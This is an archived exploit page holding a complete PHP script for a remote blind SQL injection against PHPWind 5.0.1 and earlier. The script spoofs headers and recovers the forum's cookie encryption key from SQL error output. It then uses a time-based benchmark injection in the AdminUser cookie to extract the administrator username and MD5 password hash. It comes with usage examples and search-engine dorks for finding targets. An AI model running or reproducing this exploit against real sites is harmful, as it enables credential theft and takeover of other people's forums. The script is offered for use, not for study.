what you don't know can hurt you

phpwind-501.txt

phpwind-501.txt
Posted Nov 14, 2006
Authored by rgod | Site retrogod.altervista.org

PHPWind versions 5.0.1 and below AdminUser remote blind SQL injection exploit.

tags | exploit, remote, sql injection
MD5 | 18e9515c184821f51140b2b519dcbe7e

phpwind-501.txt

Change Mirror Download
<?php
print_r('
---------------------------------------------------------------------------
PHPWind <= 5.0.1 "AdminUser" blind SQL injection exploit
by rgod retrog@alice.it
site: http://retrogod.altervista.org
dorks: "powered by phpwind"
"powered by phpwind v5.0.1" -site:phpwind.net
---------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to phpwind
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
-t[n]: adjust query timeout (default: 10)
-b[n]: adjust the delay for benchmark()
-e[key]: specify an encryption key, if you have it
it is an md5 fragment (18 chars)
Example:
php '.$argv[0].' localhost /phpwind/ -P1.1.1.1:80
php '.$argv[0].' localhost / -p81
php '.$argv[0].' localhost /forum/ -t15 -b20000000
php '.$argv[0].' localhost / -t15 -b20000000
php '.$argv[0].' localhost / -t15 -e298af45091ebcdfbcd
---------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
return;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$timeout=10;
$proxy="";
$b=200000000;
$e="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-t")
{
$timeout=(int) str_replace("-t","",$argv[$i]);
}
if ($temp=="-b")
{
$b=(int) str_replace("-b","",$argv[$i]);
}
if ($temp=="-e")
{
$e=str_replace("-e","",$argv[$i]);
if (!is_my_key($e)){
die("not a valid key...");
}
else {
$GLOBALS['my_fragment']=$e;
}

}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "please wait...\n";

function StrCode($string,$action='ENCODE'){
$key = $GLOBALS['my_fragment'];
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = 18;
$code = '';
for($i=0; $i<strlen($string); $i++){
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}

function random($length) {
$hash = '';
$chars = '0123456789abcdef';
$max = strlen($chars) - 1;
mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

function is_my_key($fragment)
{
if (ereg("^[a-f0-9]{18}",trim($fragment))) {return true;}
else {return false;}
}

//need cookie prefix...
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("lastfid=",$html);
$temp2=explode("Set-Cookie: ",$temp[0]);
$cp=$temp2[1];
echo "cookie prefix -> ".$cp."\n";

if (!$e)
{
//see sql errors... you need a valid key for strcodeii() function,
//so let's ask :)
$tt="\t";for ($i=1; $i<=255; $i++){$tt.=chr($i);}
while (1)
{
$GLOBALS['my_fragment']=random(18);
$au=StrCode($tt,"ENCODE");
$packet ="GET ".$p."admin.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cp."AdminUser=".$au.";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$html=html_entity_decode($html);
$html=str_replace("<br />","",$html);
if ((eregi("WHERE username='",$html)) and (eregi("You Can Get Help In",$html))){
$temp=explode("WHERE username='",$html);
$temp2=explode("'<br>",$temp[1]);
$decoded=$temp2[0];
if (strlen($decoded)==255) break;
}
}

$decoded="\t".$decoded;
$temp = $au;

//calculating key...
$key="";
for ($j=0; $j<18; $j++){
for ($i=0; $i<255; $i++){
$aa="";
if ($j<>0){
for ($k=1; $k<=$j; $k++){
$aa.="a";
}
}
$GLOBALS['my_fragment']=$aa.chr($i);
$t = StrCode($temp,"DECODE");
if ($t[$j]==$decoded[$j]){
$key.=chr($i);
}
}
}

if (is_my_key($key)){
echo "encryption key ->".$key."\n";
$GLOBALS['my_fragment']=$key;
}
else
{die("unable to retrieve the magic key...");}
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
//you can use every char because of base64_decode()...so this bypass magic quotes...
$sql="9999999'/**/OR/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),benchmark(".$b.",char(0)),-1))/**/AND/**/groupid=3/**/LIMIT/**/1/*";
echo "sql -> ".$sql."\n";
$packet ="GET ".$p."admin.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cp."AdminUser=".StrCode("9999999999\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
usleep(2000000);
$starttime=time();
echo "starttime -> ".$starttime."\r\n";
sendpacketii($packet);
if (eregi("You Can Get Help In",$html)) {
die($html."\n\n"."debug: you have to modify sql code injected, it seems a different version...");
}
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > $timeout) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}

$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="9999999'/**/OR/**/(IF((ASCII(SUBSTRING(username,".$j.",1))=".$i."),benchmark(".$b.",char(0)),-1))/**/AND/**/groupid=3/**/LIMIT/**/1/*";
echo "sql -> ".$sql."\n";
$packet ="GET ".$p."admin.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cp."AdminUser=".StrCode("9999999999\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
usleep(2000000);
$starttime=time();
echo "starttime -> ".$starttime."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > $timeout) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}

function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}

if (is_hash($password)) {
print_r('
--------------------------------------------------------------------------
admin user -> '.$admin.'
pwd hash (md5) -> '.$password.'
--------------------------------------------------------------------------
');
}
else {
echo "exploit failed...";
}
?>


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